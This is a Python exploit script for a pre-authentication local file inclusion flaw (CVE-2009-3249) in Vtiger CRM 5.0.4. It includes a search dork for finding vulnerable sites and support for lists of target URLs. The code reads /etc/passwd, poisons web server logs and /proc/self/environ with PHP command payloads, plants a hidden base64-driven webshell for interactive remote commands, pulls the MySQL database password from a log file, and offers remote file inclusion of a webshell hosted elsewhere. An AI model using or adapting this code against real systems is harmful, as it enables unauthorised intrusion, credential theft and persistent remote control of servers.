#!/usr/bin/python # ~INFORMATION: # # Exploit Title: Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit # # Google Dork: "The honest Open Source CRM" "vtiger CRM 5.0.4" # # Date: 5/3/2011 # # CVE: CVE-2009-3249 # # Windows link: http://bit.ly/fiOYCL # # Linux link: http://bit.ly/hluzLf # # Tested on: Windows XP/Linux Ubuntu # # PHP.ini Settings: gpc_magic_quotes = Off # # Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt # # Creds: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco # # "ascii" Ongaro are credited with the discovery of this vulnerability. # # Greetz: mr_me, sud0, sinn3r & my other fellow hackers # # Note: Loading URL files may require tampering of code ;-) # # ~VULNERABLE CODE: ''' if(isset($_REQUEST['action']) && isset($_REQUEST['module'])) { $action = $_REQUEST['action']; $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php'; $current_module = $_REQUEST['module']; } elseif(isset($_REQUEST['module'])) { $current_module = $_REQUEST['module']; $current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php'; } else { exit(); ... ... ... require_once($current_module_file); ''' # ~EXPLOIT: import linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass from optparse import OptionParser from urlparse import urlparse,urljoin from urllib import urlopen __CONTACT__ ="TecR0c(tecr0c@tecninja.net)" __DATE__ ="3.3.2011" __VERSION__ = "1.0" # Options for running script usage = "\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080" % __file__ parser = OptionParser(usage=usage) parser.add_option("-p","--p", type="string",action="store", dest="proxy", help="HTTP Proxy <server>:<port>") parser.add_option("-f","--f", type="string",action="store", dest="file", help="Input list of target URLS") parser.add_option("-P","--P",type="int",action='store', default="80", dest="port", help="Choose Port [Default: %default]") (options, args) = parser.parse_args() numlines=0 # Parameter for command execution vulnWebPage = "graph.php?module=" # Loca File inclusion path lfi = "../../../../../../../../../" # OS Linux detection linuxOS = "etc/passwd" # OS Windows Detection windowsOS = "windows/win.ini" # Windows default non-IIS setup access log file for vtiger winLogs = "../../../logs/access.log" # Windows Vtiger Instllation PHP Info file vtPlatformLog = "../logs/platform.log" # Linux Log files lnxLogs =['/var/log/access_log', '/var/log/access.log', '/var/log/apache2/access_log', '/var/log/apache2/access.log', '/var/log/apache2/error_log', '/var/log/apache2/error.log', '/var/log/apache/access_log', '/var/log/apache/access.log', '/var/log/apache/error_log', '/var/log/apache/error.log', '/var/log/user.log', '/var/log/user.log.1', '/apache/logs/access.log', '/apache/logs/error.log', '/etc/httpd/logs/acces_log', '/etc/httpd/logs/acces.log', '/etc/httpd/logs/access_log', '/etc/httpd/logs/access.log', '/etc/httpd/logs/error_log', '/etc/httpd/logs/error.log', '/usr/local/apache2/logs/access_log', '/usr/local/apache2/logs/access.log', '/usr/local/apache2/logs/error_log', '/usr/local/apache2/logs/error.log', '/usr/local/apache/logs/access_log', '/usr/local/apache/logs/access.log', '/usr/local/apache/logs/error_log', '/usr/local/apache/logs/error.log' '/logs/access.log', '/logs/error.log', '/var/log/error_log', '/var/log/error.log', '/var/log/httpd/access_log', '/var/log/httpd/access.log', '/var/log/httpd/error_log', '/var/log/httpd/error.log', '/var/www/logs/access_log', '/var/www/logs/access.log', '/var/www/logs/error_log', '/var/www/logs/error.log'] # User Agents agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ", "Google Chrome 0.2.149.29 (Windows XP)", "Opera 9.25 (Windows Vista)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", "Opera/8.00 (Windows NT 5.1; U; en)"] agent = random.choice(agents) def banner(): if os.name == "posix": os.system("clear") else: os.system("cls") header = ''' ____ _______________.___ _____________________________ \ \ / /\__ ___/| |/ _____/\_ _____/\______ \ \ Y / | | | / \ ___ | __)_ | _/ \ / | | | \ \_\ \| \ | | \ \___/ |____| |___|\______ /_______ / |____|_ / __,,,,_ _ __..-;''`--/'/ /.',-`-. (`/' ` | \ \ \ / / / / .-'/`,_ Version 5.0.4 /'`\ \ | \ | \| // // / -.,/_,'-, /<7' ; \ \ | ; ||/ /| | \/ |`-/,/-.,_,/') / _.-, `,-\,__| _-| / \ \/|_/ | '-/.;.'' `-` f/ ; / __/ \__ `/ |__/ | `-' | -| =|\_ \ |-' | %s __/ /_..-' ` ),' // Date %s ((__.-'((___..-'' \__.' '''%(__CONTACT__,__DATE__) for i in header: print "\b%s"%i, sys.stdout.flush() time.sleep(0.003) # Written to clean up shell output def cleanUp(response): """ Comment or Uncomment if you want to filter the unwanted text returned in logs """ response = re.sub('<b(.*)',"", response) response = re.sub("Fatal error(.*)","", response) response = re.sub("Warning(.*)","", response) response = re.sub('Notice(.*)',"", response) return response def firstMenu(): print ''' [+] 1. Test Environment [+] 2. Straight To Menu''' if options.file: print "[+] 3. Go To Next URL" menuChoice = raw_input("\n>> Enter Your Choice: ") if menuChoice == "1": systemOS = informationGathering() if menuChoice == "2": systemOS = raw_input("[+] Which OS? (w)indows Or (l)inux: ") if menuChoice == "3": websiteList(options.file) firstMenu() if systemOS == "l": linuxMenu() if systemOS == "w": windowsMenu() if systemOS == None: firstMenu() def websiteList(websiteFile): global numlines numlines+=1 url = linecache.getline(websiteFile, numlines) url = url[:-1] if url == '': print "[-] No More Entries\n" sys.exit() print "\n["+str(numlines)+"] Target: "+url url=urlparse(url) return (url, numlines) def getProxy(): """ Lets you setup a proxy using the proxy defined in options.proxy """ try: proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) socket.setdefaulttimeout(100) except(socket.timeout): print "\n[-] Proxy Timed Out" sys.exit(1) return proxy_handler def lfiRequest(localFile): """ Lets you send a GET request to see if LFI is posible either by proxy or direct """ if options.proxy: try: fetch_timeout = 20 proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00",None,fetch_timeout).read() except urllib2.HTTPError, error: if error.code == '500': pass if options.file: print "[+] Try Next URL" websiteList(options.file) firstMenu() sys.exit() else: print "[-] Check Your Webaddress And Directory" sys.exit() except(urllib2.URLError): print "[-] Could Not Communicate With TARGET\n" print '[-] Stopping Script\n' sys.exit() else: try: response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+localFile+"%00") response.add_header('User-agent',agent) response = urllib2.urlopen(response).read() response = cleanUp(response) except urllib2.HTTPError, error: if error.code == '500': pass if options.file: print "[+] Try Next URL" websiteList(options.file) firstMenu() sys.exit() else: print "[-] Did Not Work" except(urllib2.URLError): print "[-] Could Not Communicate With TARGET" print '[-] Stopping Script\n' sys.exit() return response def getRequest(localFile): """ Lets you send a GET request to see if LFI is posible either by proxy or direct """ if options.proxy: try: fetch_timeout = 300 proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00",None,fetch_timeout).read() except urllib2.HTTPError, error: errorMessage = str(error.code) if errorMessage == '500': print error response = error.read() pass else: print "[-] Verify Address Manually:" print "[+] "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00" sys.exit() else: try: response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+localFile+"%00") response.add_header('User-agent',agent) response = urllib2.urlopen(response).read() except urllib2.HTTPError, error: errorMessage = str(error.code) if errorMessage == '500': print error pass else: print "[-] Verify Address Manually:" print "[+] "+url.geturl()+vulnWebPage+lfi+localFile+"%00" sys.exit() return response def socketInject(payloadType): """ Lets you inject into the Apache access log by proxy or direct """ if options.proxy: try: proxyIp, proxyPort = options.proxy.split(':') proxyPort = int(proxyPort) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((proxyIp, proxyPort)) if payloadType == 'systemPayload': sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n") sock.send("User-Agent: "+agent+"\r\n") sock.send("Host: "+url.geturl()+"\r\n") sock.send("Connection: close\r\n\r\n") if payloadType == 'includePayload': sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n\r\n") sock.send("User-Agent: "+agent+"\r\n") sock.send("Host: "+url.geturl()+"\r\n") sock.send("Connection: close\r\n\r\n") sock.close() print "[+] Injected Payload Into Logs" except: print "[-] Could Not Inject Into Logs" sys.exit(1) else: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((url.netloc, options.port)) if payloadType == 'systemPayload': sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\r\n") sock.send("User-Agent: "+agent+"\r\n") sock.send("Host: "+url.scheme+url.netloc+"\r\n") sock.send("Connection: close\r\n\r\n") if payloadType == 'includePayload': sock.send("GET "+url.scheme+"://"+url.netloc+":"+str(options.port)+"/"+"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\r\n") sock.send("User-Agent: "+agent+"\r\n") sock.send("Host: "+url.scheme+url.netloc+"\r\n") sock.send("Connection: close\r\n\r\n") sock.close() print "[+] Injected Payload Into Logs" except: print "[-] Could Not Inject Into Logs" sys.exit(1) def postRequestWebShell(shellName,encodedCmd): """ WebShell which sends all POST requests to hide commmands being logged in access.log """ webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+"cache/."+shellName+".php" if options.proxy: try: commandToExecute = [ ('cat',encodedCmd)] cmdData = urllib.urlencode(commandToExecute) proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] cmdContent = proxyfier.open(webSiteUrl, cmdData).read() cmdContent = cleanUp(cmdContent) print cmdContent except: print "[-] Request To .%s.php Failed" % shellName else: try: values = { 'User-Agent' : agent, 'cat': encodedCmd} data = urllib.urlencode(values) request= urllib2.Request(webSiteUrl, data) response = urllib2.urlopen(request) response = response.read() response = cleanUp(response) print response except urllib2.HTTPError, error: response = error.read() def readFromAccessLogs(cmd, logs): """ Lets you choose what type of os for the log location and command to run """ if options.proxy: try: proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] proxyfier.addheaders.append(("Cookie", "value="+cmd)) response = proxyfier.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00").read() except urllib2.HTTPError, error: response = error.read() sys.exit() else: try: junk = None headers = { 'User-Agent' : agent, 'Cookie': 'value='+cmd} response = urllib2.Request(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+logs+"%00",junk,headers) response = urllib2.urlopen(response).read() except urllib2.HTTPError, error: response = error.read() return response def informationGathering(): """ Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on """ # Use default LICIENSE.txt file in webroot to gather information requestContent = lfiRequest("../LICENSE.txt") # Test for Magic Quotes print "[+] INFORMATION GATHERING:" print "[+] Checking if LFI Is Posible" magicQuotes = re.compile('SugarCRM Public') magicQuotes = magicQuotes.search(requestContent) if magicQuotes: print "[+] magic_quotes_gpc = Off" else: print "[-] magic_quotes_gpc = On" print "[-] Or Your URL Is Incorrect" if options.file: websiteList(options.file) firstMenu() else: sys.exit() # OS Detection try: passwd = getRequest(linuxOS) searchFor = re.compile('root:') searchLinuxOS = searchFor.search(passwd) print "[!] Working Out The Operating System" if searchLinuxOS: print "[!] OS Detection: Linux" systemOS = "l" elif not searchLinuxOS: winini = getRequest(windowsOS) searchFor = re.compile('16-bit') searchWindowsOS = searchFor.search(winini) if searchWindowsOS: print "[!] OS Detection: Windows" systemOS= "w" else: print "[!] No Data Returned, You Will Have To Guess The Operating System" firstMenu() systemOS = None except: print "[-] Could Not Run OS Detection" print "[-] System OS Could Not Be Set Try Option 2" systemOS = None try: # Checking for Error Messages print "[+] Checking If Error Messages Are Enabled" pathError = re.compile(r"(reference in (.*)on|not found in (.*)graph.php)") findPath = pathError.search(requestContent) if findPath: print "[-] Web Root Directory Is: "+findPath.group(1) elif findPath == None: platformRequest = getRequest(vtPlatformLog) pathWinRootFinder = re.compile('REQUSET\["root_directory"\]</td><td class="v">(.*)</td>') findWinPathRoot = pathWinRootFinder.search(platformRequest) if findWinPathRoot: print "[-] WWWRoot Directory From Platform.log Is: "+findWinPathRoot.group(1) else: print "[-] Did Not Find Any Path Disclosure" except: print "[-] Could Not Run Error Message Detection" return systemOS def environInject(shellName): """ Lets you get a shell through proc self environ by proxy or without """ webSiteUrl = url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+lfi+"proc/self/environ"+"%00" shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName if options.proxy: try: print '[+] Testing If /proc/self/environ Exists' proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] response = proxyfier.open(webSiteUrl).read() patFinder = re.compile('HTTP_USER_AGENT') environContent = patFinder.search(response) if environContent: print '[+] Web Application Vulnerable to proc/self/environ' proxyfier = urllib2.build_opener(getProxy()) encodedCommand = base64.b64encode(shellString) commandToExecute = [ ('cat',encodedCommand)] cmdData = urllib.urlencode(commandToExecute) proxyfier.addheaders = [('User-agent', "<?php system(base64_decode($_POST[cat]));?>")] cmdContent = proxyfier.open(webSiteUrl, cmdData).read() else: print '[-] Could Not Create Shell' sys.exit() except: print "[-] Seems To Not Be Vulnerable To Proc Self Environment" linuxMenu() sys.exit() else: try: shellString = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName encodedCommand = base64.b64encode(shellString) headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>', 'cat' : encodedCommand} cmdContent = urllib2.Request(webSiteUrl,junk,headers) cmdContent = urllib2.urlopen(cmdContent).read() except urllib2.HTTPError, error: response = error.read() print response while True: try: command = raw_input(commandLine) encodedCmd = base64.b64encode(command) postRequestWebShell(shellName,encodedCmd) except KeyboardInterrupt: encodedCmd = base64.b64encode('rm .'+shellName+'.php') postRequestWebShell(shellName,encodedCmd) print "[-] CTRL+C Detected!" print "[+] Removed .%s.php\n" % shellName sys.exit() def logInject(payloadType): """ Lets you choose what type of payload to use such as include or system """ inject = raw_input("[?] To Inject? Press ENTER, Otherwise Type 'n' : ") if inject == 'yes' or inject == 'y' or inject == '': socketInject(payloadType) else: print "[!] Did Not Inject Into Logs" def proxyCheck(): if options.proxy: try: h2 = httplib.HTTPConnection(options.proxy) h2.connect() print "[+] Using Proxy Server:",options.proxy except(socket.timeout): print "[-] Proxy Timed Out\n" pass sys.exit(1) except(NameError): print "[-] Proxy Not Given\n" pass sys.exit(1) except: print "[-] Proxy Failed\n" pass sys.exit(1) def shellMessage(shellName): print ''' # Shell: .%s.php ########################### # Welcome To Remote Shell # # This Is Not Interactive # # To Exist Shell Ctrl + C # # Hack The Gibson # ########################### ''' % shellName # Linux Techniques def linuxMenu(): print ''' [+] 1. Terminal By Logs [+] 2. Terminal By Proc Self Environment''' if options.file: print '[+] 3. Go To Next URL' lnxChoice = raw_input(">> Enter Your Choice: ") # Log Technique if lnxChoice == '1': print "[!] Lets Hope You Got Rights To Their Logs!" for log in lnxLogs: print "[-] Testing %s" % log logReponse = getRequest(log) command2Find = re.compile('" 200') findCommand = command2Find.search(logReponse) if findCommand: print "[+] Injectable Log File Located @ %s" % log logInject("systemPayload") yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \'n\': ') logWithLfi = lfi+log if yourChoice == '': shellName = raw_input('[?] Name Of Your Webshell: ') print '[+] Creating Webshell' systemCommand = "echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php" % shellName encodedCmd = base64.b64encode(systemCommand) readFromAccessLogs(encodedCmd, logWithLfi) print "[!] Tempting To Create WebShell .%s.php" % shellName shellMessage(shellName) while True: try: command = raw_input(commandLine) encodedCmd = base64.b64encode(command) postRequestWebShell(shellName,encodedCmd) except KeyboardInterrupt: encodedCmd = base64.b64encode('rm .'+shellName+'.php') postRequestWebShell(shellName,encodedCmd) print "[-] CTRL+C Detected!" print "[+] Removed .%s.php\n" % shellName sys.exit() else: cleanUp(response) logInject("systemPayload") while True: try: command = raw_input(commandLine) encodedCmd = base64.b64encode(command) postRequestWebShell(shellName,encodedCmd) except KeyboardInterrupt: encodedCmd = base64.b64encode('rm .'+shellName+'.php') postRequestWebShell(shellName,encodedCmd) print "[-] CTRL+C detected!" print "[+] Removed .%s.php\n" % shellName sys.exit() # Environ Technique if lnxChoice == '2': shellName = raw_input('[?] Name Of Your Webshell: ') environInject(shellName) if lnxChoice == '3': websiteList(options.file) firstMenu() sys.exit() def windowsMenu(): print ''' [+] 1. Remote File Inclusion Browser Shell [+] 2. VTiger MySQL Password [+] 3. PHP WebShell ''' winChoice = raw_input(">> Enter your choice: ") if winChoice == '1': try: logInject("includePayload") print "[+] Example: http://www.xfocus.net.ru/soft/r57.txt" rfi = raw_input('>>> Enter Your Remote Webshell URL: ') webbrowser.open(url.scheme+"://"+url.netloc+":"+str(options.port)+url.path+vulnWebPage+winLogs+"%00"+"&cmd="+base64.b64encode(rfi)) print "[+] Check Your Web Browser!" except: print "[-] RFI @ %s Did Not Work" % rfi if winChoice == "2": f = lfiRequest(vtPlatformLog) patFinder = re.compile('POST\["db_password"\]</td><td class="v">(.*)</td>') findUser = patFinder.search(f) if findUser is None: print '[-] Did Not Find MySQL Database Password' else: print "[!] VTiger Password: "+findUser.group(1) if winChoice == "3": logInject("systemPayload") shellName = raw_input('[?] Name Of Your Webshell: ') systemCommand = "echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php" % shellName encodedCmd = base64.b64encode(systemCommand) readFromAccessLogs(encodedCmd, winLogs) print "[!] Created WebShell .%s.php" % shellName shellMessage(shellName) while True: try: command = raw_input(commandLine) encodedCmd = base64.b64encode(command) postRequestWebShell(shellName,encodedCmd) except KeyboardInterrupt: encodedCmd = base64.b64encode('del .'+shellName+'.php') postRequestWebShell(shellName,encodedCmd) print "[-] CTRL+C Detected!" print "[+] Removed .%s.php\n" % shellName sys.exit() if "__main__" == __name__: banner() proxyCheck() try: url=urlparse(args[0]) except: if options.file: print "[+] Using Website List" url,numlines = websiteList(options.file) else: parser.print_help() print "\n[-] Check Your URL\n" sys.exit(1) if not url.scheme: print usage+"\n" print "[-] Missing HTTP/HTTPS\n" sys.exit(1) commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc) if not options.file: print "[+] Target: "+url.scheme+"://"+url.netloc+":"+str(options.port)+url.path firstMenu()